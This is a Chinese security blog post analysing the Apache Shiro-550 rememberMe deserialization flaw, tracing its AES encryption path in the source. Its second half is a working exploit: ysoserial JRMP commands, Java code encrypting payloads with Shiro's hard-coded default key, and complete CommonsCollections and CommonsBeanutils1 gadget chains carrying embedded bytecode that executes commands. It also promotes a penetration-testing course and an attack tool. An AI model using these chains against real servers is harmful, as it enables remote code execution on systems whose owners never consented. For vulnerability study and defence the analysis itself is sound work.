入坑Java安全之Shiro-550漏洞分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
虽然Shiro-550反序列化漏洞已经出来很久了,但在某些大型活动中依然有它的身影,本文将从底层代码对这个漏洞进行深度剖析(狗头),分别从漏洞分析、漏洞复现两大模块展开。
0x01 漏洞分析
原理
当Shiro收到未经验证的用户请求时,会进行以下操作:
- 提取Cookie中rememberme的值
- Base64解密
- AES解密
- 反序列化
所以当攻击者获取到AES加密的Key时,即可将Payload通过Key进行AES加密,然后Base64编码,最后设置为Cookie中rememberme字段的值,从而造成RCE。这也是为什么很多工具要求你提供Key,没有Key就通过常见的内置Key进行爆破。
原理很简短,有嘴就行,但是代码上它究竟是怎么跑的呢?我们带着两个问题去研究:
- 加解密过程是怎样的?
- 工具中的内置Key是从哪里提取出来的?
环境搭建
我这里是 JDK1.8 +Tomcat 9 + p神的环境,下载完直接导入IDEA,等待依赖加载完毕后,配置Tomcat即可,下载地址(https://github.com/phith0n/JavaThings/tree/master/shirodemo)
默认账号密码:guestguest
加密流程
网上很多师傅都是直接将断点下在AbstractRememberMeManager#rememberSerializedIdentity(),因为能够触发这个方法的时候就意味着你已经通过了身份认证
程序要给你的Cookie中加上rememberme字段了,然后逆着推,我个人当时看的时候不太舒服,这里我们以三个点进行分析,不然有点乱,也不好理解
身份认证点
这里我已经调试过很多次了,我们直接将断点下在AuthenticatingFilter#executeLogin()这个执行登录判断的方法
这里上来就通过createToken()获取一个AuthenticationToken对象,里边的值其实是我们输入的账号、密码、host以及你是否点击了rememberme这个按钮
接着进入Login()方法,程序会调用DefaultSecurityManager#login()对Token中的字段进行校验,判断是否有这个用户,如果没有就会像下面这张图
通过身份验证后,这里会返回一个SimpleAccount对象,里边就是用户的信息,然后通过一一系列的方法去调用本类中的rememberMeSuccessfulLogin(),注意rmm中的值,此时我们可以清楚的看到他的加密算法,加密模式,填充模式
- 加密算法:AES
- 加密模式:CBC
- 填充模式:PKCS5Padding
继续往下,rmm通过onSuccessfulLogin()去调用isRememberMe(),判断你是否点击了“remember me”这个按钮
假如开启了,就会进入真正地加密流程,也就是rememberIdentity()方法,这里有多处重写
身份加密点
我们直接来到关键点,在103行,程序通过convertPrincipalsToBytes()开启加密之旅,首先会对之前查出来的对象进行序列化
然后获取加密服务对象,不为空则对序列化后的对象进行加密
跟进AbstractRememberMeManager#encrypt(),又获取了一遍加密服务,再次通过加密服务调用encrypt(),此时我们可以看到,加密服务中的值正是上边总结的加密算法、加密模式与填充模式
注意第二个参数,这个方法就是获取Shiro硬编码Key的方法
后边就是获取iv向量然后进行AES加密
再将加密后的byte返回给bytesource
通过getBytes()获取混淆后的数据,至此,程序将认证后的身份通过序列化、AES加密,最终传入到rememberSerializedIdentity()中,开启最后一步
Set-rememberMe点
这一步就很简单了,将混淆后的数据在Base64编码,然后设置到Cookie中
Burp中也获取到了对应的值,至此加密流程结束
解密流程
抓一个经过认证的包,把里边的JSESSIONID删掉,将断点设置在CookieRememberMeManager#getRememberedSerializedIdentity(),这里同样以三个点分析,不同的是不会向上边那么详细,因为每个类中的加密方法都对应着解密方法
获取Cooki中的rememberMe并解码
在CookieRememberMeManager#getRememberedSerializedIdentity()中实现
AES解密
来到AbstractRememberMeManager#decrypt(),还记得AES加密在哪里做的么?就是在这个方法的上边两行做的,又是熟悉的[-84,-19,…],此时已经是一个对象的byte了
反序列化Byte
来到DefaultSerializer#deserialize(),可以看到程序通过readObject()将Byte转化为了对象,假如我们拿到了Key,并且有该站点的反序列化利用链,便可对其进行反序列化攻击。至此,漏洞原理部分结束,建议大家调一调。
0x02 漏洞复现
数组的问题
我们生成CC6的Payload
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class GetPayload
{
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
却无法成功利用
根据报错,来到org/apache/shiro/io/DefaultSerializer.java#deserialize
可以看到在加载Transformer的时候报错了,这里的L代表数组,也就是Transform[]
这里涉及到JVM底层的类加载机制,原因就是shiro重写了resolveClass(),导致我们的Transform[]无法被正常反序列化(找不到类)
JRMP突破限制
这里有两种方式可以破局,一是使用JRMP进行RCE,另一种就是构造不含数组的Gadget,我们首先来用JRMP进行RCE
开启恶意JRMP服务端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "calc"
生成JRMPClient Gadget
java -jar ysoserial.jar JRMPClient "127.0.0.1:12345" > poc.ser
AES加密
import Util.toUnSerialize;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class CommonsCollectionsJRMP
{
public static void main(String[] args) throws Exception {
byte[] payloads = toUnSerialize.get("poc.ser");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
发送Payload,成功解锁计算器
不含数组的Gadget
另一种方式是改造CC2,关于CC链的分析可以看一下这篇文章,之前我们是使用ChainedTransformer()去包裹Transformer[],其实这一步是可以省略的,我们来看LazyMap#get()
如果这里的factory是InvokerTransformer,那么就会进行反射,而这里的key就会作为执行invoke的对象
如果此时input是TemplatesImpl,iMethodName是newInstance,就会通过反射执行任意代码,来个Demo
package Ser;
import Util.toSerialize;
import Util.toUnSerialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2 {
// 封装通过反射修改属性的操作
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception
{
// calc 字节码
byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
// TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 定义 iMethodName
Transformer transformer = new InvokerTransformer("newTransformer", null, null);
// 定义 factory
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
// 定义 InvokerTransformer.transform() 中的input属性
lazyMap.get(templates);
}
}
解锁计算器
所以接下来的任务是找找谁的readObject直接或间接的动态调用了get(),这里用到了CC6中的TiedMapEntry#hashcode()间接动态调用get()
剩下的就跟CC6一样了,入口点还是通过HashMap#readObject()->hash()->key.hashCode(),所以最终的Payload如下:
package Ser;
import Util.toSerialize;
import Util.toUnSerialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception
{
byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
lazyMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
new toSerialize(hashMap);
new toUnSerialize("poc.ser");
}
}
将poc.ser进行AES加密,发送Payload即可
0x03 CommonsBeanutiles1
相信在大家面试的时候,可能会被问到Shiro反序列化,有Key没有利用链怎么办?这个问题,这里指的应该是下面这个情况
那这种看似没有利用链的情况应该怎么解决?P神提出使用Shiro自带的CommonsBeanutils构造Gadget
这里主要用到了它的静态方法PropertyUtils.getProperty(),这个方法的功能有点像Fastjson的autotype功能,我们来个Demo
package CB1;
import org.apache.commons.beanutils.PropertyUtils;
public class CommonsBeanutiles_
{
public static class Dog
{
private String name = "Dooooooog";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getCalc() throws Exception
{
Runtime.getRuntime().exec("calc");
return "Hacked...";
}
}
public static void main(String[] args) throws Exception
{
PropertyUtils.getProperty(new Dog(),"calc");
}
}
其中我们定义了内部类Dog,可以看见有一个计算器方法getCalc(),而PropertyUtils.getProperty(new Dog(), “calc”)的意思就是,调用Dog类下calc的getter方法,即getCalc()
看过我Fastjson系列的兄弟应该知道TemplatesImpl链在应用的时候,要给一个OutputProperties属性,这是因为Fastjson会自动调用属性的getter、setter方法,进而调用newTransformer()
这里同样适用
还是同样的思路,找谁调了getProperty()
这里compare()在CC4中我们用过,在PriorityQueue#siftDownUsingComparator()中动态调用
所以最终CB1的利用链就是这样,就不分解演示了,如果看不懂可以自己调一下或者去看我之前分析CC链的文章吧 🙂
package Ser;
import Util.toSerialize;
import Util.toUnSerialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1
{
// 封装 getDeclaredField等重复性操作
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// calc 的恶意字节码
byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
// TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// BC1 的关键点, BeanComparator对象
BeanComparator beanComparator = new BeanComparator("outputProperties");
// 设置 comparator, 以便于调用 BeanComparator#compare()
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
// 修改size, 为了满足 PriorityQueue#heapify() 的验证条件
setFieldValue(priorityQueue,"size",2);
// 修改queue, 为了满足 PropertyUtils.getProperty() 进而触发RCE
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
// 序列化与反序列化
new toSerialize(priorityQueue);
new toUnSerialize("poc.ser");
}
}
将poc.ser内容进行AES加密,发送给Shiro站点,解锁计算器
这里我产生了一个疑问,明明都是CB1,为什么ShiroAttack2.2、ShiroExploit等优秀工具就不可以?于是我反编译看了一下伪代码,原因就在这里
第一,它们都是用的yso的CB1,所以依赖CommonsCollections组件
第二,即使目标站点有CommonsCollections组件,CB1链依然利用不了,原因就是Shiro1.2.4自带的是CommonsBeanutiles1.8.3,会触发serialVersionUID错误
0x04 总结
Shiro550依然大型活动的高危漏洞之一。现在ShiroAttack也已经将CB1集成进去了,并且像其他的一些问题(Tomcat header长度限制、无回显、内存马)也都做出了相应的解决方案,剩下的就看谁的key多了。附上下载地址(https://github.com/SummerSec/ShiroAttack2)
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5738.html